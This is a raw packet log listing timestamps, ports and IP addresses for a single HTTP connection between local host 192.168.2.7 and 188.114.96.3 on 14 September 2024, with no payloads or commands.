Sep 14, 2024 18:44:34.372981071 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.372992039 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.373002052 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.373009920 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.373013973 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.373024940 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.373032093 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.373034954 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.373050928 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.373054028 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.373065948 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.373076916 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.373079062 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.373087883 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.373099089 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.373110056 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.373116016 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.373131037 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.373131037 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.373143911 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.373152971 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.373157978 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.373167992 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.373187065 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.373209953 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.373270035 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.373281956 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.373323917 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.457181931 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.457221031 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.457232952 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.457304955 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.457319975 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.457344055 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.457355022 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.457365036 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.457371950 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.457397938 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.457534075 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.457545996 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.457556009 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.457566023 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.457576990 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.457586050 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.457595110 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.457606077 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.457612991 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.457618952 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.457631111 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.457647085 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.457653999 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.457660913 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.457672119 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.457678080 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.457683086 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.457695007 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.457705975 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.457705975 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.457720041 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.457736015 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.457761049 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.457782030 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.457799911 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.457811117 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.457820892 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.457824945 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.457833052 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.457845926 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.457854033 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.457856894 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.457882881 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.457897902 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.457918882 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.458080053 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.458096027 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.458106995 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.458117962 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.458127975 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.458128929 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.458141088 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.458142042 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.458154917 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.458164930 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.458169937 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.458177090 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.458188057 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.458189011 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.458199978 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.458211899 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.458226919 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.458245993 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.458255053 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.458257914 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.458287001 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.458359957 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.458411932 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.458472967 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.458486080 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.458503008 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.458513021 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.458523035 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.458523989 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.458543062 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.458550930 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.458555937 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.458566904 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.458578110 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.458589077 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.458589077 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.458600998 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.458611965 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.458621979 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.458621979 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.458633900 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.458647013 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.458657980 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.458662987 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.458693027 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.458875895 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.458888054 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.458898067 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.458908081 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.458919048 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.458925962 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.458930016 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.458941936 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.458945990 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.458952904 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.458965063 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.458965063 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.458976984 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.458986998 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.458997011 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.459012032 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.459014893 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.459026098 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.459037066 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.459038019 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.459048033 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.459059954 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.459076881 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.459100962 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.459167957 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.459180117 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.459189892 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.459208965 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.459222078 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.459225893 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.459232092 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.459239006 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.459250927 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.459261894 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.459264040 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.459270954 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.459281921 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.459294081 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.459294081 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.459305048 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.459312916 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.459316015 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.459327936 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.459338903 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.459342003 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.459351063 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.459362984 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.459368944 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.459374905 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.459393024 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.459399939 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.459414005 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.459440947 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.459625006 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.459636927 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.459651947 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.459662914 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.459673882 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.459680080 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.459686995 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.459698915 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.459701061 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.459711075 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.459722042 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.459728003 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.459733963 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.459744930 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.459749937 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.459755898 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.459769964 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.459774017 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.459785938 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.459806919 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.459825039 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.544086933 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.544156075 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.544190884 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.544222116 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.544245005 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.544281960 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.544300079 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.544315100 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.544368029 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.544369936 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.544420004 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.544467926 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.544469118 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.544502974 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.544534922 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.544544935 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.544568062 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.544600964 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.544614077 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.544635057 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.544667959 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.544682980 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.544718027 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.544750929 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.544765949 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.544783115 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.544830084 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.544842005 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.544874907 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.544907093 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.544913054 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.544940948 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.544974089 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.544989109 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.545006037 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.545038939 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.545052052 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.545075893 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.545123100 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.545125961 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.545160055 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.545192003 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.545209885 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.545228004 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.545270920 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.545280933 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.545306921 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.545351028 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.545356989 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.545392036 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.545425892 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.545439005 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.545460939 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.545491934 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.545510054 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.545542955 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.545577049 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.545608997 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.545610905 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.545633078 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.545644045 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.545695066 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.545695066 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.545728922 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.545761108 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.545777082 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.545794010 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.545839071 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.545842886 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.545876980 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.545911074 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.545919895 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.545944929 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.545975924 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.545984983 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.546010017 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.546041965 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.546056032 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.546076059 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.546108007 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.546119928 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.546140909 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.546174049 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.546186924 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.546206951 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.546241045 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.546252012 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.546274900 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.546312094 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.546327114 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.546359062 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.546391010 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.546405077 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.546442032 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.546474934 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.546485901 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.546526909 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.546561956 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.546566963 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.546596050 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.546628952 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.546638012 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.546660900 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.546699047 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.546701908 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.546731949 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.546762943 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.546772003 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.546796083 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.546828032 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.546843052 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.546860933 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.546890020 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.546907902 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.546922922 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.546953917 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.546972036 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.546987057 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.547019958 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.547029018 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.547055006 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.547086000 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.547111034 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.547118902 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.547152996 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.547158957 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.547185898 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.547219038 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.547228098 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.547251940 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.547283888 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.547292948 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.547318935 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.547350883 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.547368050 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.547400951 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.547435045 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.547451019 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.547471046 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.547502995 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.547518969 CEST	80	54891	188.114.96.3	192.168.2.7
